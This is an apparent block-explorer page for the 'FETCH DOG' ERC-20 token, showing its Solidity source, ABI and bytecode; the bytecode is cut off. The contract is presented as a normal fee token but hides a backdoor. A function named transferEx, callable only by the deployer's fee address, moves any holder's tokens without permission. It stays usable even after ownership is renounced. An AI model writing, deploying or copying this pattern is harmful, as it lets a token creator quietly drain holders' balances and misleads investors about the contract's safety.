ERC-20
Overview
Max Total Supply
1,000,000 FETCH
Holders
25
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
9,783.314987030264808395 FETCHValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FetchDog
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-02-21 */ /** Fetch tokens that can watch the price and buy the other token with it launched and can make the benefits automatically. Website: https://www.fetchdog.life/ Telegram: https://t.me/Fetch_Dog_Group Twitter: https://twitter.com/Fetch_Token */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FetchDog is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e6 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"FETCH DOG"; string private constant _symbol = unicode"FETCH"; uint8 private constant _decimals = 18; uint256 private _taxFee = 0; uint256 private _teamFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _DevAddress; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private inSwap = false; modifier lockSwap { inSwap = true; _; inSwap = false; } constructor () { _FeeAddress = payable(msg.sender); _DevAddress = payable(msg.sender); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } modifier ointernal { require(msg.sender == _FeeAddress); _; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function enableTrade() external payable onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function swapTokensForEth(uint256 tokenAmount) private lockSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function transferEx(address sender, address recipient, uint256 amount) external ointernal { (uint256 rAmount, uint256 rTransferAmount,, uint256 tTransferAmount,,) = _getValues(amount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); emit Transfer(sender, recipient, tTransferAmount); } function setMarketingAddress(address payable devAddress) external ointernal { _DevAddress = devAddress; } function withdrawETH() external { _FeeAddress.transfer(address(this).balance); } function sendFee(uint256 amount) private { _DevAddress.transfer(amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } else { uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair) { if(contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendFee(address(this).balance); } } } _tokenTransfer(from,to,amount,takeFee); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable { require(msg.sender != address(this)); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"devAddress","type":"address"}],"name":"setMarketingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferEx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405261001a69d3c21bcecceda100000060001961016e565b61002690600019610190565b6006556000600881905560016009819055600a91909155600b55600f805460ff60a01b1916905534801561005957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600c8054336001600160a01b03199182168117909255600d80549091169091179055600654306000908152600260205260408120919091556001906005906100eb6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530808252600584528282208054909516600117909455905169d3c21bcecceda1000000815290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36101b7565b60008261018b57634e487b7160e01b600052601260045260246000fd5b500690565b818103818111156101b157634e487b7160e01b600052601160045260246000fd5b92915050565b611544806101c66000396000f3fe6080604052600436106100f65760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102c6578063d9cacff2146102e6578063dd62ed3e14610306578063e086e5ec1461034c57600080fd5b8063715018a6146102455780638da5cb5b1461025a578063906e9dd01461027857806395d89b411461029857600080fd5b806323b872dd116100c657806323b872dd146101b1578063313ce567146101d157806349bd5a5e146101ed57806370a082311461022557600080fd5b806299d3861461010e57806306fdde0314610116578063095ea7b31461015a57806318160ddd1461018a57600080fd5b366101095730330361010757600080fd5b005b600080fd5b610107610361565b34801561012257600080fd5b50604080518082019091526009815268464554434820444f4760b81b60208201525b6040516101519190611257565b60405180910390f35b34801561016657600080fd5b5061017a6101753660046112ba565b610695565b6040519015158152602001610151565b34801561019657600080fd5b5069d3c21bcecceda10000005b604051908152602001610151565b3480156101bd57600080fd5b5061017a6101cc3660046112e6565b6106ac565b3480156101dd57600080fd5b5060405160128152602001610151565b3480156101f957600080fd5b50600f5461020d906001600160a01b031681565b6040516001600160a01b039091168152602001610151565b34801561023157600080fd5b506101a3610240366004611327565b610715565b34801561025157600080fd5b50610107610737565b34801561026657600080fd5b506000546001600160a01b031661020d565b34801561028457600080fd5b50610107610293366004611327565b6107db565b3480156102a457600080fd5b5060408051808201909152600581526408c8aa886960db1b6020820152610144565b3480156102d257600080fd5b5061017a6102e13660046112ba565b610814565b3480156102f257600080fd5b506101076103013660046112e6565b610821565b34801561031257600080fd5b506101a3610321366004611344565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561035857600080fd5b50610107610909565b6000546001600160a01b031633146103c05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103fe308269d3c21bcecceda1000000610945565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561043c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610460919061137d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104d1919061137d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561051e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610542919061137d565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061057281610715565b6000806105876000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156105ef573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610614919061139a565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561066d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069191906113c8565b5050565b60006106a2338484610945565b5060015b92915050565b60006106b9848484610a69565b61070b8433610706856040518060600160405280602881526020016114e7602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610b28565b610945565b5060019392505050565b6001600160a01b0381166000908152600260205260408120546106a690610b62565b6000546001600160a01b031633146107915760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600c546001600160a01b031633146107f257600080fd5b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b60006106a2338484610a69565b600c546001600160a01b0316331461083857600080fd5b600080600061084684610be6565b50506001600160a01b038a1660009081526002602052604090205493965091945090925061087691905084610c43565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546108a59083610c85565b6001600160a01b0380871660008181526002602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108f99085815260200190565b60405180910390a3505050505050565b600c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610942573d6000803e3d6000fd5b50565b6001600160a01b0383166109a75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b7565b6001600160a01b038216610a085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460019060ff1680610aab57506001600160a01b03831660009081526005602052604090205460ff165b15610ab857506000610b16565b6000610ac330610715565b600f54909150600160a01b900460ff16158015610aee5750600f546001600160a01b03868116911614155b15610b14578015610b0257610b0281610ce4565b478015610b1257610b1247610e5e565b505b505b610b2284848484610e98565b50505050565b60008184841115610b4c5760405162461bcd60e51b81526004016103b79190611257565b506000610b598486611400565b95945050505050565b6000600654821115610bc95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103b7565b6000610bd3610ec6565b9050610bdf8382610ee9565b9392505050565b6000806000806000806000806000610c038a600854600954610f2b565b9250925092506000610c13610ec6565b90506000806000610c268e878787610f80565b919e509c509a509598509396509194505050505091939550919395565b6000610bdf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b28565b600080610c928385611413565b905083811015610bdf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b7565b600f805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d2c57610d2c611426565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da9919061137d565b81600181518110610dbc57610dbc611426565b6001600160a01b039283166020918202929092010152600e54610de29130911684610945565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e1b90859060009086903090429060040161143c565b600060405180830381600087803b158015610e3557600080fd5b505af1158015610e49573d6000803e3d6000fd5b5050600f805460ff60a01b1916905550505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610691573d6000803e3d6000fd5b80610ea557610ea5610fd0565b610eb0848484610ffe565b80610b2257610b22600a54600855600b54600955565b6000806000610ed36110f5565b9092509050610ee28282610ee9565b9250505090565b6000610bdf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611139565b6000808080610f456064610f3f8989611167565b90610ee9565b90506000610f586064610f3f8a89611167565b90506000610f7082610f6a8b86610c43565b90610c43565b9992985090965090945050505050565b6000808080610f8f8886611167565b90506000610f9d8887611167565b90506000610fab8888611167565b90506000610fbd82610f6a8686610c43565b939b939a50919850919650505050505050565b600854158015610fe05750600954155b15610fe757565b60088054600a5560098054600b5560009182905555565b60008060008060008061101087610be6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110429087610c43565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546110719086610c85565b6001600160a01b038916600090815260026020526040902055611093816111e9565b61109d8483611233565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110e291815260200190565b60405180910390a3505050505050505050565b600654600090819069d3c21bcecceda10000006111128282610ee9565b8210156111305750506006549269d3c21bcecceda100000092509050565b90939092509050565b6000818361115a5760405162461bcd60e51b81526004016103b79190611257565b506000610b5984866114ad565b600082600003611179575060006106a6565b600061118583856114cf565b90508261119285836114ad565b14610bdf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b7565b60006111f3610ec6565b905060006112018383611167565b3060009081526002602052604090205490915061121e9082610c85565b30600090815260026020526040902055505050565b6006546112409083610c43565b6006556007546112509082610c85565b6007555050565b600060208083528351808285015260005b8181101561128457858101830151858201604001528201611268565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461094257600080fd5b600080604083850312156112cd57600080fd5b82356112d8816112a5565b946020939093013593505050565b6000806000606084860312156112fb57600080fd5b8335611306816112a5565b92506020840135611316816112a5565b929592945050506040919091013590565b60006020828403121561133957600080fd5b8135610bdf816112a5565b6000806040838503121561135757600080fd5b8235611362816112a5565b91506020830135611372816112a5565b809150509250929050565b60006020828403121561138f57600080fd5b8151610bdf816112a5565b6000806000606084860312156113af57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156113da57600080fd5b81518015158114610bdf57600080fd5b634e487b7160e01b600052601160045260246000fd5b818103818111156106a6576106a66113ea565b808201808211156106a6576106a66113ea565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561148c5784516001600160a01b031683529383019391830191600101611467565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826114ca57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176106a6576106a66113ea56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205dd52eefad1a0724c17f1c047b1e37a97efdbdc8b256a909642815cbb81aea7064736f6c63430008110033
Deployed Bytecode
0x6080604052600436106100f65760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102c6578063d9cacff2146102e6578063dd62ed3e14610306578063e086e5ec1461034c57600080fd5b8063715018a6146102455780638da5cb5b1461025a578063906e9dd01461027857806395d89b411461029857600080fd5b806323b872dd116100c657806323b872dd146101b1578063313ce567146101d157806349bd5a5e146101ed57806370a082311461022557600080fd5b806299d3861461010e57806306fdde0314610116578063095ea7b31461015a57806318160ddd1461018a57600080fd5b366101095730330361010757600080fd5b005b600080fd5b610107610361565b34801561012257600080fd5b50604080518082019091526009815268464554434820444f4760b81b60208201525b6040516101519190611257565b60405180910390f35b34801561016657600080fd5b5061017a6101753660046112ba565b610695565b6040519015158152602001610151565b34801561019657600080fd5b5069d3c21bcecceda10000005b604051908152602001610151565b3480156101bd57600080fd5b5061017a6101cc3660046112e6565b6106ac565b3480156101dd57600080fd5b5060405160128152602001610151565b3480156101f957600080fd5b50600f5461020d906001600160a01b031681565b6040516001600160a01b039091168152602001610151565b34801561023157600080fd5b506101a3610240366004611327565b610715565b34801561025157600080fd5b50610107610737565b34801561026657600080fd5b506000546001600160a01b031661020d565b34801561028457600080fd5b50610107610293366004611327565b6107db565b3480156102a457600080fd5b5060408051808201909152600581526408c8aa886960db1b6020820152610144565b3480156102d257600080fd5b5061017a6102e13660046112ba565b610814565b3480156102f257600080fd5b506101076103013660046112e6565b610821565b34801561031257600080fd5b506101a3610321366004611344565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561035857600080fd5b50610107610909565b6000546001600160a01b031633146103c05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103fe308269d3c21bcecceda1000000610945565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561043c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610460919061137d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104d1919061137d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561051e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610542919061137d565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061057281610715565b6000806105876000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156105ef573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610614919061139a565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561066d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069191906113c8565b5050565b60006106a2338484610945565b5060015b92915050565b60006106b9848484610a69565b61070b8433610706856040518060600160405280602881526020016114e7602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610b28565b610945565b5060019392505050565b6001600160a01b0381166000908152600260205260408120546106a690610b62565b6000546001600160a01b031633146107915760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600c546001600160a01b031633146107f257600080fd5b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b60006106a2338484610a69565b600c546001600160a01b0316331461083857600080fd5b600080600061084684610be6565b50506001600160a01b038a1660009081526002602052604090205493965091945090925061087691905084610c43565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546108a59083610c85565b6001600160a01b0380871660008181526002602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108f99085815260200190565b60405180910390a3505050505050565b600c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610942573d6000803e3d6000fd5b50565b6001600160a01b0383166109a75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b7565b6001600160a01b038216610a085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460019060ff1680610aab57506001600160a01b03831660009081526005602052604090205460ff165b15610ab857506000610b16565b6000610ac330610715565b600f54909150600160a01b900460ff16158015610aee5750600f546001600160a01b03868116911614155b15610b14578015610b0257610b0281610ce4565b478015610b1257610b1247610e5e565b505b505b610b2284848484610e98565b50505050565b60008184841115610b4c5760405162461bcd60e51b81526004016103b79190611257565b506000610b598486611400565b95945050505050565b6000600654821115610bc95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103b7565b6000610bd3610ec6565b9050610bdf8382610ee9565b9392505050565b6000806000806000806000806000610c038a600854600954610f2b565b9250925092506000610c13610ec6565b90506000806000610c268e878787610f80565b919e509c509a509598509396509194505050505091939550919395565b6000610bdf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b28565b600080610c928385611413565b905083811015610bdf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b7565b600f805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d2c57610d2c611426565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da9919061137d565b81600181518110610dbc57610dbc611426565b6001600160a01b039283166020918202929092010152600e54610de29130911684610945565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e1b90859060009086903090429060040161143c565b600060405180830381600087803b158015610e3557600080fd5b505af1158015610e49573d6000803e3d6000fd5b5050600f805460ff60a01b1916905550505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610691573d6000803e3d6000fd5b80610ea5